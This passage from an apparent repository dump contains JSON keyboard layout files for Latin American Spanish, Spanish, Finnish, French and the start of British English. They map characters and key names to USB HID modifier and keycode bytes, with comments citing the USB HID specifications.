\"T\":\"02,00,17\",\n    \"U\":\"02,00,18\",\n    \"V\":\"02,00,19\",\n    \"W\":\"02,00,1a\",\n    \"X\":\"02,00,1b\",\n    \"Y\":\"02,00,1c\",\n    \"Z\":\"02,00,1d\",\n    \"!\":\"02,00,1e\",\n    \"\\\"\":\"02,00,1f\",\n    \"#\":\"02,00,20\",\n    \"%\":\"02,00,22\",\n    \"&\":\"02,00,23\",\n    \"/\":\"02,00,24\",\n    \"(\":\"02,00,25\",\n    \")\":\"02,00,26\",\n    \"=\":\"02,00,27\",\n    \"?\":\"02,00,2d\",\n    \"^\":\"02,00,30\",\n    \"*\":\"02,00,31\",\n    \";\":\"02,00,36\",\n    \":\":\"02,00,37\",\n    \"_\":\"02,00,38\",\n    \">\":\"02,00,64\",\n    \"CTRL-SHIFT\":\"03,00,00\",\n    \"ALT\":\"04,00,00\",\n    \"CTRL-ALT\":\"05,00,00\",\n    \"ALT-SHIFT\":\"06,00,00\",\n    \"COMMAND\":\"08,00,00\",\n    \"GUI\":\"08,00,00\",\n    \"WINDOWS\":\"08,00,00\",\n    \"COMMAND-OPTION\":\"12,00,00\",\n    \"@\":\"40,00,1f\",\n    \"$\":\"40,00,21\",\n    \"{\":\"40,00,24\",\n    \"[\":\"40,00,25\",\n    \"]\":\"40,00,26\",\n    \"}\":\"40,00,27\",\n    \"|\":\"40,00,2e\",\n    \"~\":\"40,00,30\",\n    \"\\\\\":\"40,00,64\",\n    \"COMMAND-CTRL-SHIFT\":\"40,00,64\",\n    \"COMMAND-CTRL\":\"40,00,64\",\n    \"COMMAND-OPTION-SHIFT'\":\"40,00,64\"\n}\n"
  },
  {
    "path": "languages/es-la.json",
    "content": "{\n    \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\n    \"__comment\":\" \",\n    \"__comment\":\"This list is in ascending order of 3rd byte (HID Usage ID).\",\n    \"__comment\":\"  See section 10 Keyboard/Keypad Page (0x07)\",\n    \"__comment\":\"  of document USB HID Usage Tables Version 1.12.\",\n    \"__comment\":\" \",\n    \"__comment\":\"Definition of these 3 bytes can be found\",\n    \"__comment\":\"  in section B.1 Protocol 1 (Keyboard)\",\n    \"__comment\":\"  of document Device Class Definition for HID Version 1.11\",\n    \"__comment\":\"  - byte 1: Modifier keys\",\n    \"__comment\":\"  - byte 2: Reserved\",\n    \"__comment\":\"  - byte 3: Keycode 1\",\n    \"__comment\":\" \",\n    \"__comment\":\"Both documents can be obtained from link here\",\n    \"__comment\":\"  http://www.usb.org/developers/hidpage/\",\n    \"__comment\":\" \",\n    \"__comment\":\"A = LeftShift + a, { = LeftShift + [\",\n    \"__comment\":\" \",\n    \"a\":\"00,00,04\",\n    \"b\":\"00,00,05\",\n    \"c\":\"00,00,06\",\n    \"d\":\"00,00,07\",\n    \"e\":\"00,00,08\",\n    \"f\":\"00,00,09\",\n    \"g\":\"00,00,0a\",\n    \"h\":\"00,00,0b\",\n    \"i\":\"00,00,0c\",\n    \"j\":\"00,00,0d\",\n    \"k\":\"00,00,0e\",\n    \"l\":\"00,00,0f\",\n    \"m\":\"00,00,10\",\n    \"n\":\"00,00,11\",\n    \"o\":\"00,00,12\",\n    \"p\":\"00,00,13\",\n    \"q\":\"00,00,14\",\n    \"r\":\"00,00,15\",\n    \"s\":\"00,00,16\",\n    \"t\":\"00,00,17\",\n    \"u\":\"00,00,18\",\n    \"v\":\"00,00,19\",\n    \"w\":\"00,00,1a\",\n    \"x\":\"00,00,1b\",\n    \"y\":\"00,00,1c\",\n    \"z\":\"00,00,1d\",\n    \"1\":\"00,00,1e\",\n    \"2\":\"00,00,1f\",\n    \"3\":\"00,00,20\",\n    \"4\":\"00,00,21\",\n    \"5\":\"00,00,22\",\n    \"6\":\"00,00,23\",\n    \"7\":\"00,00,24\",\n    \"8\":\"00,00,25\",\n    \"9\":\"00,00,26\",\n    \"0\":\"00,00,27\",\n    \"ENTER\":\"00,00,28\",\n    \"ESC\":\"00,00,29\",\n    \"ESCAPE\":\"00,00,29\",\n    \"TAB\":\"00,00,2b\",\n    \" \":\"00,00,2c\",\n    \"SPACE\":\"00,00,2c\",\n    \"'\":\"00,00,2d\",\n    \"¿\":\"00,00,2e\",\n    \"´\":\"00,00,2f\",\n    \"+\":\"00,00,30\",\n    \"ñ\":\"00,00,31\",\n    \"{\":\"00,00,33\",\n    \"}\":\"00,00,34\",\n    \"|\":\"00,00,35\",\n    \",\":\"00,00,36\",\n    \".\":\"00,00,37\",\n    \"-\":\"00,00,38\",\n    \"CAPSLOCK\":\"00,00,39\",\n    \"F1\":\"00,00,3a\",\n    \"F2\":\"00,00,3b\",\n    \"F3\":\"00,00,3c\",\n    \"F4\":\"00,00,3d\",\n    \"F5\":\"00,00,3e\",\n    \"F6\":\"00,00,3f\",\n    \"F7\":\"00,00,40\",\n    \"F8\":\"00,00,41\",\n    \"F9\":\"00,00,42\",\n    \"F10\":\"00,00,43\",\n    \"F11\":\"00,00,44\",\n    \"F12\":\"00,00,45\",\n    \"PRINTSCREEN\":\"00,00,46\",\n    \"SCROLLLOCK\":\"00,00,47\",\n    \"BREAK\":\"00,00,48\",\n    \"PAUSE\":\"00,00,48\",\n    \"INSERT\":\"00,00,49\",\n    \"HOME\":\"00,00,4a\",\n    \"PAGEUP\":\"00,00,4b\",\n    \"DEL\":\"00,00,4c\",\n    \"DELETE\":\"00,00,4c\",\n    \"END\":\"00,00,4d\",\n    \"PAGEDOWN\":\"00,00,4e\",\n    \"RIGHT\":\"00,00,4f\",\n    \"RIGHTARROW\":\"00,00,4f\",\n    \"LEFT\":\"00,00,50\",\n    \"LEFTARROW\":\"00,00,50\",\n    \"DOWN\":\"00,00,51\",\n    \"DOWNARROW\":\"00,00,51\",\n    \"UP\":\"00,00,52\",\n    \"UPARROW\":\"00,00,52\",\n\t  \"<\":\"00,00,64\",\n    \"APP\":\"00,00,65\",\n    \"MENU\":\"00,00,65\",\n    \"ALT-TAB\":\"00,00,71\",\n    \"CONTROL\":\"01,00,00\",\n    \"CTRL\":\"01,00,00\",\n    \"SHIFT\":\"02,00,00\",\n    \"A\":\"02,00,04\",\n    \"B\":\"02,00,05\",\n    \"C\":\"02,00,06\",\n    \"D\":\"02,00,07\",\n    \"E\":\"02,00,08\",\n    \"F\":\"02,00,09\",\n    \"G\":\"02,00,0a\",\n    \"H\":\"02,00,0b\",\n    \"I\":\"02,00,0c\",\n    \"J\":\"02,00,0d\",\n    \"K\":\"02,00,0e\",\n    \"L\":\"02,00,0f\",\n    \"M\":\"02,00,10\",\n    \"N\":\"02,00,11\",\n    \"O\":\"02,00,12\",\n    \"P\":\"02,00,13\",\n    \"Q\":\"02,00,14\",\n    \"R\":\"02,00,15\",\n    \"S\":\"02,00,16\",\n    \"T\":\"02,00,17\",\n    \"U\":\"02,00,18\",\n    \"V\":\"02,00,19\",\n    \"W\":\"02,00,1a\",\n    \"X\":\"02,00,1b\",\n    \"Y\":\"02,00,1c\",\n    \"Z\":\"02,00,1d\",\n    \"!\":\"02,00,1e\",\n    \"\\\"\":\"02,00,1f\",\n    \"#\":\"02,00,20\",\n    \"$\":\"02,00,21\",\n    \"%\":\"02,00,22\",\n    \"&\":\"02,00,23\",\n    \"/\":\"02,00,24\",\n    \"(\":\"02,00,25\",\n    \")\":\"02,00,26\",\n    \"=\":\"02,00,27\",\n    \"?\":\"02,00,2d\",\n    \"¡\":\"02,00,2e\",\n    \"¨\":\"02,00,2f\",\n    \"*\":\"02,00,30\",\n    \"Ñ\":\"02,00,31\",\n    \"[\":\"02,00,33\",\n    \"]\":\"02,00,34\",\n    \"°\":\"02,00,35\",\n    \";\":\"02,00,36\",\n    \":\":\"02,00,37\",\n    \"_\":\"02,00,38\",\n\t  \">\":\"02,00,64\",\n\t  \"\\\\\":\"04,00,2d\",\n\t  \"~\":\"04,00,30\",\n\t  \"^\":\"04,00,33\",\n\t  \"`\":\"04,00,34\",\n\t  \"¬\":\"04,00,35\",\n\t  \"CTRL-SHIFT\":\"03,00,00\",\n    \"ALT\":\"04,00,00\",\n    \"CTRL-ALT\":\"05,00,00\",\n    \"ALT-SHIFT\":\"06,00,00\",\n    \"COMMAND\":\"08,00,00\",\n    \"GUI\":\"08,00,00\",\n    \"WINDOWS\":\"08,00,00\",\n    \"COMMAND-OPTION\":\"12,00,00\",\n    \"COMMAND-CTRL-SHIFT\":\"12,00,00\",\n    \"COMMAND-CTRL\":\"12,00,00\",\n    \"COMMAND-OPTION-SHIFT'\":\"12,00,00\"\n}\n"
  },
  {
    "path": "languages/es.json",
    "content": "{\n    \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\n    \"__comment\":\" \",\n    \"__comment\":\"This list is in ascending order of 3rd byte (HID Usage ID).\",\n    \"__comment\":\"  See section 10 Keyboard/Keypad Page (0x07)\",\n    \"__comment\":\"  of document USB HID Usage Tables Version 1.12.\",\n    \"__comment\":\" \",\n    \"__comment\":\"Definition of these 3 bytes can be found\",\n    \"__comment\":\"  in section B.1 Protocol 1 (Keyboard)\",\n    \"__comment\":\"  of document Device Class Definition for HID Version 1.11\",\n    \"__comment\":\"  - byte 1: Modifier keys\",\n    \"__comment\":\"  - byte 2: Reserved\",\n    \"__comment\":\"  - byte 3: Keycode 1\",\n    \"__comment\":\" \",\n    \"__comment\":\"Both documents can be obtained from link here\",\n    \"__comment\":\"  http://www.usb.org/developers/hidpage/\",\n    \"__comment\":\" \",\n    \"__comment\":\"A = LeftShift + a, { = LeftShift + [\",\n    \"__comment\":\" \",\n    \"a\":\"00,00,04\",\n    \"b\":\"00,00,05\",\n    \"c\":\"00,00,06\",\n    \"d\":\"00,00,07\",\n    \"e\":\"00,00,08\",\n    \"f\":\"00,00,09\",\n    \"g\":\"00,00,0a\",\n    \"h\":\"00,00,0b\",\n    \"i\":\"00,00,0c\",\n    \"j\":\"00,00,0d\",\n    \"k\":\"00,00,0e\",\n    \"l\":\"00,00,0f\",\n    \"m\":\"00,00,10\",\n    \"n\":\"00,00,11\",\n    \"o\":\"00,00,12\",\n    \"p\":\"00,00,13\",\n    \"q\":\"00,00,14\",\n    \"r\":\"00,00,15\",\n    \"s\":\"00,00,16\",\n    \"t\":\"00,00,17\",\n    \"u\":\"00,00,18\",\n    \"v\":\"00,00,19\",\n    \"w\":\"00,00,1a\",\n    \"x\":\"00,00,1b\",\n    \"y\":\"00,00,1c\",\n    \"z\":\"00,00,1d\",\n    \"1\":\"00,00,1e\",\n    \"2\":\"00,00,1f\",\n    \"3\":\"00,00,20\",\n    \"4\":\"00,00,21\",\n    \"5\":\"00,00,22\",\n    \"6\":\"00,00,23\",\n    \"7\":\"00,00,24\",\n    \"8\":\"00,00,25\",\n    \"9\":\"00,00,26\",\n    \"0\":\"00,00,27\",\n    \"ENTER\":\"00,00,28\",\n    \"ESC\":\"00,00,29\",\n    \"ESCAPE\":\"00,00,29\",\n    \"TAB\":\"00,00,2b\",\n    \" \":\"00,00,2c\",\n    \"SPACE\":\"00,00,2c\",\n    \"'\":\"00,00,2d\",\n    \"+\":\"00,00,30\",\n    \",\":\"00,00,36\",\n    \".\":\"00,00,37\",\n    \"-\":\"00,00,38\",\n    \"CAPSLOCK\":\"00,00,39\",\n    \"F1\":\"00,00,3a\",\n    \"F2\":\"00,00,3b\",\n    \"F3\":\"00,00,3c\",\n    \"F4\":\"00,00,3d\",\n    \"F5\":\"00,00,3e\",\n    \"F6\":\"00,00,3f\",\n    \"F7\":\"00,00,40\",\n    \"F8\":\"00,00,41\",\n    \"F9\":\"00,00,42\",\n    \"F10\":\"00,00,43\",\n    \"F11\":\"00,00,44\",\n    \"F12\":\"00,00,45\",\n    \"PRINTSCREEN\":\"00,00,46\",\n    \"SCROLLLOCK\":\"00,00,47\",\n    \"BREAK\":\"00,00,48\",\n    \"PAUSE\":\"00,00,48\",\n    \"INSERT\":\"00,00,49\",\n    \"HOME\":\"00,00,4a\",\n    \"PAGEUP\":\"00,00,4b\",\n    \"DEL\":\"00,00,4c\",\n    \"DELETE\":\"00,00,4c\",\n    \"END\":\"00,00,4d\",\n    \"PAGEDOWN\":\"00,00,4e\",\n    \"RIGHT\":\"00,00,4f\",\n    \"RIGHTARROW\":\"00,00,4f\",\n    \"LEFT\":\"00,00,50\",\n    \"LEFTARROW\":\"00,00,50\",\n    \"DOWN\":\"00,00,51\",\n    \"DOWNARROW\":\"00,00,51\",\n    \"UP\":\"00,00,52\",\n    \"UPARROW\":\"00,00,52\",\n    \"<\":\"00,00,64\",\n    \"APP\":\"00,00,65\",\n    \"MENU\":\"00,00,65\",\n    \"ALT-TAB\":\"00,00,71\",\n    \"CONTROL\":\"01,00,00\",\n    \"CTRL\":\"01,00,00\",\n    \"SHIFT\":\"02,00,00\",\n    \"A\":\"02,00,04\",\n    \"B\":\"02,00,05\",\n    \"C\":\"02,00,06\",\n    \"D\":\"02,00,07\",\n    \"E\":\"02,00,08\",\n    \"F\":\"02,00,09\",\n    \"G\":\"02,00,0a\",\n    \"H\":\"02,00,0b\",\n    \"I\":\"02,00,0c\",\n    \"J\":\"02,00,0d\",\n    \"K\":\"02,00,0e\",\n    \"L\":\"02,00,0f\",\n    \"M\":\"02,00,10\",\n    \"N\":\"02,00,11\",\n    \"O\":\"02,00,12\",\n    \"P\":\"02,00,13\",\n    \"Q\":\"02,00,14\",\n    \"R\":\"02,00,15\",\n    \"S\":\"02,00,16\",\n    \"T\":\"02,00,17\",\n    \"U\":\"02,00,18\",\n    \"V\":\"02,00,19\",\n    \"W\":\"02,00,1a\",\n    \"X\":\"02,00,1b\",\n    \"Y\":\"02,00,1c\",\n    \"Z\":\"02,00,1d\",\n    \"!\":\"02,00,1e\",\n    \"\\\"\":\"02,00,1f\",\n    \"$\":\"02,00,21\",\n    \"%\":\"02,00,22\",\n    \"&\":\"02,00,23\",\n    \"/\":\"02,00,24\",\n    \"(\":\"02,00,25\",\n    \")\":\"02,00,26\",\n    \"=\":\"02,00,27\",\n    \"?\":\"02,00,2d\",\n    \"^\":\"02,00,2e\",\n    \"*\":\"02,00,30\",\n    \";\":\"02,00,36\",\n    \":\":\"02,00,37\",\n    \"_\":\"02,00,38\",\n    \">\":\"02,00,64\",\n    \"CTRL-SHIFT\":\"03,00,00\",\n    \"ALT\":\"04,00,00\",\n    \"CTRL-ALT\":\"05,00,00\",\n    \"ALT-SHIFT\":\"06,00,00\",\n    \"COMMAND\":\"08,00,00\",\n    \"GUI\":\"08,00,00\",\n    \"WINDOWS\":\"08,00,00\",\n    \"COMMAND-OPTION\":\"12,00,00\",\n    \"|\":\"40,00,1e\",\n    \"@\":\"40,00,1f\",\n    \"#\":\"40,00,20\",\n    \"~\":\"40,00,21\",\n    \"[\":\"40,00,2f\",\n    \"]\":\"40,00,30\",\n    \"\\\\\":\"40,00,35\",\n    \"`\":\"40,00,35\",\n    \"{\":\"42,00,2f\",\n    \"}\":\"42,00,30\",\n    \"COMMAND-CTRL-SHIFT\":\"42,00,30\",\n    \"COMMAND-CTRL\":\"42,00,30\",\n    \"COMMAND-OPTION-SHIFT'\":\"42,00,30\"\n}"
  },
  {
    "path": "languages/fi.json",
    "content": "{\n    \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\n    \"__comment\":\" \",\n    \"__comment\":\"This list is in ascending order of 3rd byte (HID Usage ID).\",\n    \"__comment\":\"  See section 10 Keyboard/Keypad Page (0x07)\",\n    \"__comment\":\"  of document USB HID Usage Tables Version 1.12.\",\n    \"__comment\":\" \",\n    \"__comment\":\"Definition of these 3 bytes can be found\",\n    \"__comment\":\"  in section B.1 Protocol 1 (Keyboard)\",\n    \"__comment\":\"  of document Device Class Definition for HID Version 1.11\",\n    \"__comment\":\"  - byte 1: Modifier keys\",\n    \"__comment\":\"  - byte 2: Reserved\",\n    \"__comment\":\"  - byte 3: Keycode 1\",\n    \"__comment\":\" \",\n    \"__comment\":\"Both documents can be obtained from link here\",\n    \"__comment\":\"  http://www.usb.org/developers/hidpage/\",\n    \"__comment\":\" \",\n    \"__comment\":\"A = LeftShift + a, { = LeftShift + [\",\n    \"__comment\":\" \",\n    \"a\":\"00,00,04\",\n    \"b\":\"00,00,05\",\n    \"c\":\"00,00,06\",\n    \"d\":\"00,00,07\",\n    \"e\":\"00,00,08\",\n    \"f\":\"00,00,09\",\n    \"g\":\"00,00,0a\",\n    \"h\":\"00,00,0b\",\n    \"i\":\"00,00,0c\",\n    \"j\":\"00,00,0d\",\n    \"k\":\"00,00,0e\",\n    \"l\":\"00,00,0f\",\n    \"m\":\"00,00,10\",\n    \"n\":\"00,00,11\",\n    \"o\":\"00,00,12\",\n    \"p\":\"00,00,13\",\n    \"q\":\"00,00,14\",\n    \"r\":\"00,00,15\",\n    \"s\":\"00,00,16\",\n    \"t\":\"00,00,17\",\n    \"u\":\"00,00,18\",\n    \"v\":\"00,00,19\",\n    \"w\":\"00,00,1a\",\n    \"x\":\"00,00,1b\",\n    \"y\":\"00,00,1c\",\n    \"z\":\"00,00,1d\",\n    \"1\":\"00,00,1e\",\n    \"2\":\"00,00,1f\",\n    \"3\":\"00,00,20\",\n    \"4\":\"00,00,21\",\n    \"5\":\"00,00,22\",\n    \"6\":\"00,00,23\",\n    \"7\":\"00,00,24\",\n    \"8\":\"00,00,25\",\n    \"9\":\"00,00,26\",\n    \"0\":\"00,00,27\",\n    \"ENTER\":\"00,00,28\",\n    \"ESC\":\"00,00,29\",\n    \"ESCAPE\":\"00,00,29\",\n    \"TAB\":\"00,00,2b\",\n    \" \":\"00,00,2c\",\n    \"SPACE\":\"00,00,2c\",\n    \"+\":\"00,00,2d\",\n    \"'\":\"00,00,31\",\n    \",\":\"00,00,36\",\n    \".\":\"00,00,37\",\n    \"-\":\"00,00,38\",\n    \"CAPSLOCK\":\"00,00,39\",\n    \"F1\":\"00,00,3a\",\n    \"F2\":\"00,00,3b\",\n    \"F3\":\"00,00,3c\",\n    \"F4\":\"00,00,3d\",\n    \"F5\":\"00,00,3e\",\n    \"F6\":\"00,00,3f\",\n    \"F7\":\"00,00,40\",\n    \"F8\":\"00,00,41\",\n    \"F9\":\"00,00,42\",\n    \"F10\":\"00,00,43\",\n    \"F11\":\"00,00,44\",\n    \"F12\":\"00,00,45\",\n    \"PRINTSCREEN\":\"00,00,46\",\n    \"SCROLLLOCK\":\"00,00,47\",\n    \"BREAK\":\"00,00,48\",\n    \"PAUSE\":\"00,00,48\",\n    \"INSERT\":\"00,00,49\",\n    \"HOME\":\"00,00,4a\",\n    \"PAGEUP\":\"00,00,4b\",\n    \"DEL\":\"00,00,4c\",\n    \"DELETE\":\"00,00,4c\",\n    \"END\":\"00,00,4d\",\n    \"PAGEDOWN\":\"00,00,4e\",\n    \"RIGHT\":\"00,00,4f\",\n    \"RIGHTARROW\":\"00,00,4f\",\n    \"LEFT\":\"00,00,50\",\n    \"LEFTARROW\":\"00,00,50\",\n    \"DOWN\":\"00,00,51\",\n    \"DOWNARROW\":\"00,00,51\",\n    \"UP\":\"00,00,52\",\n    \"UPARROW\":\"00,00,52\",\n    \"<\":\"00,00,64\",\n    \"APP\":\"00,00,65\",\n    \"MENU\":\"00,00,65\",\n    \"ALT-TAB\":\"00,00,71\",\n    \"CONTROL\":\"01,00,00\",\n    \"CTRL\":\"01,00,00\",\n    \"SHIFT\":\"02,00,00\",\n    \"A\":\"02,00,04\",\n    \"B\":\"02,00,05\",\n    \"C\":\"02,00,06\",\n    \"D\":\"02,00,07\",\n    \"E\":\"02,00,08\",\n    \"F\":\"02,00,09\",\n    \"G\":\"02,00,0a\",\n    \"H\":\"02,00,0b\",\n    \"I\":\"02,00,0c\",\n    \"J\":\"02,00,0d\",\n    \"K\":\"02,00,0e\",\n    \"L\":\"02,00,0f\",\n    \"M\":\"02,00,10\",\n    \"N\":\"02,00,11\",\n    \"O\":\"02,00,12\",\n    \"P\":\"02,00,13\",\n    \"Q\":\"02,00,14\",\n    \"R\":\"02,00,15\",\n    \"S\":\"02,00,16\",\n    \"T\":\"02,00,17\",\n    \"U\":\"02,00,18\",\n    \"V\":\"02,00,19\",\n    \"W\":\"02,00,1a\",\n    \"X\":\"02,00,1b\",\n    \"Y\":\"02,00,1c\",\n    \"Z\":\"02,00,1d\",\n    \"!\":\"02,00,1e\",\n    \"\\\"\":\"02,00,1f\",\n    \"#\":\"02,00,20\",\n    \"%\":\"02,00,22\",\n    \"&\":\"02,00,23\",\n    \"/\":\"02,00,24\",\n    \"(\":\"02,00,25\",\n    \")\":\"02,00,26\",\n    \"=\":\"02,00,27\",\n    \"?\":\"02,00,2d\",\n    \"`\":\"02,00,2e\",\n    \"^\":\"02,00,30\",\n    \"*\":\"02,00,31\",\n    \";\":\"02,00,36\",\n    \":\":\"02,00,37\",\n    \"_\":\"02,00,38\",\n    \">\":\"02,00,64\",\n    \"CTRL-SHIFT\":\"03,00,00\",\n    \"ALT\":\"04,00,00\",\n    \"CTRL-ALT\":\"05,00,00\",\n    \"ALT-SHIFT\":\"06,00,00\",\n    \"COMMAND\":\"08,00,00\",\n    \"GUI\":\"08,00,00\",\n    \"WINDOWS\":\"08,00,00\",\n    \"COMMAND-OPTION\":\"12,00,00\",\n    \"@\":\"40,00,1f\",\n    \"$\":\"40,00,21\",\n    \"{\":\"40,00,24\",\n    \"[\":\"40,00,25\",\n    \"]\":\"40,00,26\",\n    \"}\":\"40,00,27\",\n    \"\\\\\":\"40,00,2d\",\n    \"~\":\"40,00,30\",\n    \"|\":\"40,00,64\",\n    \"COMMAND-CTRL-SHIFT\":\"40,00,64\",\n    \"COMMAND-CTRL\":\"40,00,64\",\n    \"COMMAND-OPTION-SHIFT'\":\"40,00,64\"\n}"
  },
  {
    "path": "languages/fr.json",
    "content": "{\n    \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\n    \"__comment\":\" \",\n    \"__comment\":\"This list is in ascending order of 3rd byte (HID Usage ID).\",\n    \"__comment\":\"  See section 10 Keyboard/Keypad Page (0x07)\",\n    \"__comment\":\"  of document USB HID Usage Tables Version 1.12.\",\n    \"__comment\":\" \",\n    \"__comment\":\"Definition of these 3 bytes can be found\",\n    \"__comment\":\"  in section B.1 Protocol 1 (Keyboard)\",\n    \"__comment\":\"  of document Device Class Definition for HID Version 1.11\",\n    \"__comment\":\"  - byte 1: Modifier keys\",\n    \"__comment\":\"  - byte 2: Reserved\",\n    \"__comment\":\"  - byte 3: Keycode 1\",\n    \"__comment\":\" \",\n    \"__comment\":\"Both documents can be obtained from link here\",\n    \"__comment\":\"  http://www.usb.org/developers/hidpage/\",\n    \"__comment\":\" \",\n    \"__comment\":\"A = LeftShift + a, { = LeftShift + [\",\n    \"__comment\":\" \",\n    \"q\":\"00,00,04\",\n    \"b\":\"00,00,05\",\n    \"c\":\"00,00,06\",\n    \"d\":\"00,00,07\",\n    \"e\":\"00,00,08\",\n    \"f\":\"00,00,09\",\n    \"g\":\"00,00,0a\",\n    \"h\":\"00,00,0b\",\n    \"i\":\"00,00,0c\",\n    \"j\":\"00,00,0d\",\n    \"k\":\"00,00,0e\",\n    \"l\":\"00,00,0f\",\n    \",\":\"00,00,10\",\n    \"n\":\"00,00,11\",\n    \"o\":\"00,00,12\",\n    \"p\":\"00,00,13\",\n    \"a\":\"00,00,14\",\n    \"r\":\"00,00,15\",\n    \"s\":\"00,00,16\",\n    \"t\":\"00,00,17\",\n    \"u\":\"00,00,18\",\n    \"v\":\"00,00,19\",\n    \"z\":\"00,00,1a\",\n    \"x\":\"00,00,1b\",\n    \"y\":\"00,00,1c\",\n    \"w\":\"00,00,1d\",\n    \"&\":\"00,00,1e\",\n    \"\\\"\":\"00,00,20\",\n    \"'\":\"00,00,21\",\n    \"(\":\"00,00,22\",\n    \"-\":\"00,00,23\",\n    \"_\":\"00,00,25\",\n    \"ENTER\":\"00,00,28\",\n    \"ESC\":\"00,00,29\",\n    \"ESCAPE\":\"00,00,29\",\n    \"TAB\":\"00,00,2b\",\n    \" \":\"00,00,2c\",\n    \"SPACE\":\"00,00,2c\",\n    \")\":\"00,00,2d\",\n    \"=\":\"00,00,2e\",\n    \"$\":\"00,00,30\",\n    \"*\":\"00,00,31\",\n    \"m\":\"00,00,33\",\n    \";\":\"00,00,36\",\n    \":\":\"00,00,37\",\n    \"!\":\"00,00,38\",\n    \"CAPSLOCK\":\"00,00,39\",\n    \"F1\":\"00,00,3a\",\n    \"F2\":\"00,00,3b\",\n    \"F3\":\"00,00,3c\",\n    \"F4\":\"00,00,3d\",\n    \"F5\":\"00,00,3e\",\n    \"F6\":\"00,00,3f\",\n    \"F7\":\"00,00,40\",\n    \"F8\":\"00,00,41\",\n    \"F9\":\"00,00,42\",\n    \"F10\":\"00,00,43\",\n    \"F11\":\"00,00,44\",\n    \"F12\":\"00,00,45\",\n    \"PRINTSCREEN\":\"00,00,46\",\n    \"SCROLLLOCK\":\"00,00,47\",\n    \"BREAK\":\"00,00,48\",\n    \"PAUSE\":\"00,00,48\",\n    \"INSERT\":\"00,00,49\",\n    \"HOME\":\"00,00,4a\",\n    \"PAGEUP\":\"00,00,4b\",\n    \"DEL\":\"00,00,4c\",\n    \"DELETE\":\"00,00,4c\",\n    \"END\":\"00,00,4d\",\n    \"PAGEDOWN\":\"00,00,4e\",\n    \"RIGHT\":\"00,00,4f\",\n    \"RIGHTARROW\":\"00,00,4f\",\n    \"LEFT\":\"00,00,50\",\n    \"LEFTARROW\":\"00,00,50\",\n    \"DOWN\":\"00,00,51\",\n    \"DOWNARROW\":\"00,00,51\",\n    \"UP\":\"00,00,52\",\n    \"UPARROW\":\"00,00,52\",\n    \"<\":\"00,00,64\",\n    \"APP\":\"00,00,65\",\n    \"MENU\":\"00,00,65\",\n    \"ALT-TAB\":\"00,00,71\",\n    \"CONTROL\":\"01,00,00\",\n    \"CTRL\":\"01,00,00\",\n    \"SHIFT\":\"02,00,00\",\n    \"Q\":\"02,00,04\",\n    \"B\":\"02,00,05\",\n    \"C\":\"02,00,06\",\n    \"D\":\"02,00,07\",\n    \"E\":\"02,00,08\",\n    \"F\":\"02,00,09\",\n    \"G\":\"02,00,0a\",\n    \"H\":\"02,00,0b\",\n    \"I\":\"02,00,0c\",\n    \"J\":\"02,00,0d\",\n    \"K\":\"02,00,0e\",\n    \"L\":\"02,00,0f\",\n    \"?\":\"02,00,10\",\n    \"N\":\"02,00,11\",\n    \"O\":\"02,00,12\",\n    \"P\":\"02,00,13\",\n    \"A\":\"02,00,14\",\n    \"R\":\"02,00,15\",\n    \"S\":\"02,00,16\",\n    \"T\":\"02,00,17\",\n    \"U\":\"02,00,18\",\n    \"V\":\"02,00,19\",\n    \"Z\":\"02,00,1a\",\n    \"X\":\"02,00,1b\",\n    \"Y\":\"02,00,1c\",\n    \"W\":\"02,00,1d\",\n    \"1\":\"02,00,1e\",\n    \"2\":\"02,00,1f\",\n    \"3\":\"02,00,20\",\n    \"4\":\"02,00,21\",\n    \"5\":\"02,00,22\",\n    \"6\":\"02,00,23\",\n    \"7\":\"02,00,24\",\n    \"8\":\"02,00,25\",\n    \"9\":\"02,00,26\",\n    \"0\":\"02,00,27\",\n    \"+\":\"02,00,2e\",\n    \"M\":\"02,00,33\",\n    \"%\":\"02,00,34\",\n    \".\":\"02,00,36\",\n    \"/\":\"02,00,37\",\n    \">\":\"02,00,64\",\n    \"CTRL-SHIFT\":\"03,00,00\",\n    \"ALT\":\"04,00,00\",\n    \"CTRL-ALT\":\"05,00,00\",\n    \"ALT-SHIFT\":\"06,00,00\",\n    \"COMMAND\":\"08,00,00\",\n    \"GUI\":\"08,00,00\",\n    \"WINDOWS\":\"08,00,00\",\n    \"COMMAND-OPTION\":\"12,00,00\",\n    \"~\":\"40,00,1f\",\n    \"#\":\"40,00,20\",\n    \"{\":\"40,00,21\",\n    \"[\":\"40,00,22\",\n    \"|\":\"40,00,23\",\n    \"`\":\"40,00,24\",\n    \"\\\\\":\"40,00,25\",\n    \"^\":\"40,00,26\",\n    \"@\":\"40,00,27\",\n    \"]\":\"40,00,2d\",\n    \"}\":\"40,00,2e\",\n    \"COMMAND-CTRL-SHIFT\":\"40,00,2e\",\n    \"COMMAND-CTRL\":\"40,00,2e\",\n    \"COMMAND-OPTION-SHIFT'\":\"40,00,2e\"\n}"
  },
  {
    "path": "languages/gb.json",
    "content": "{\n    \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\n    \"__comment\":\" \",\n    \"__comment\":\"This list is in ascending order of 3rd byte (HID Usage ID).\",\n    \"__comment\":\"  See section 10 Keyboard/Keypad Page (0x07)\",\n    \"__comment\":\"  of document USB HID Usage Tables Version 1.12.\",\n    \"__comment\":\" \",\n    \"__comment\":\"Definition of these 3 bytes can be found\",\n    \"__comment\":\"  in section B.1 Protocol 1 (Keyboard)\",\n    \"__comment\":\"  of document Device Class Definition for HID Version 1.11\",\n    \"__comment\":\"  - byte 1: Modifier keys\",\n    \"__comment\":\"  - byte 2: Reserved\",\n    \"__comment\":\"  - byte 3: Keycode 1\",\n    \"__comment\":\" \",\n    \"__comment\":\"Both documents can be obtained from link here\",\n    \"__comment\":\"  http://www.usb.org/developers/hidpage/\",\n    \"__comment\":\" \",\n    \"__comment\":\"A = LeftShift + a, { = LeftShift + [\",\n    \"__comment\":\" \",\n    \"a\":\"00,00,04\",\n    \"b\":\"00,00,05\",\n    \"c\":\"00,00,06\",\n    \"d\":\"00,00,07\",\n    \"e\":\"00,00,08\",\n    \"f\":\"00,00,09\",\n    \"g\":\"00,00,0a\",\n    \"h\":\"00,00,0b\",\n    \"i\":\"00,00,0c\",\n    \"j\":\"00,00,0d\",\n    \"k\":\"00,00,0e\",\n    \"l\":\"00,00,0f\",\n    \"m\":\"00,00,10\",\n    \"n\":\"00,00,11\",\n    \"o\":\"00,00,12\",\n    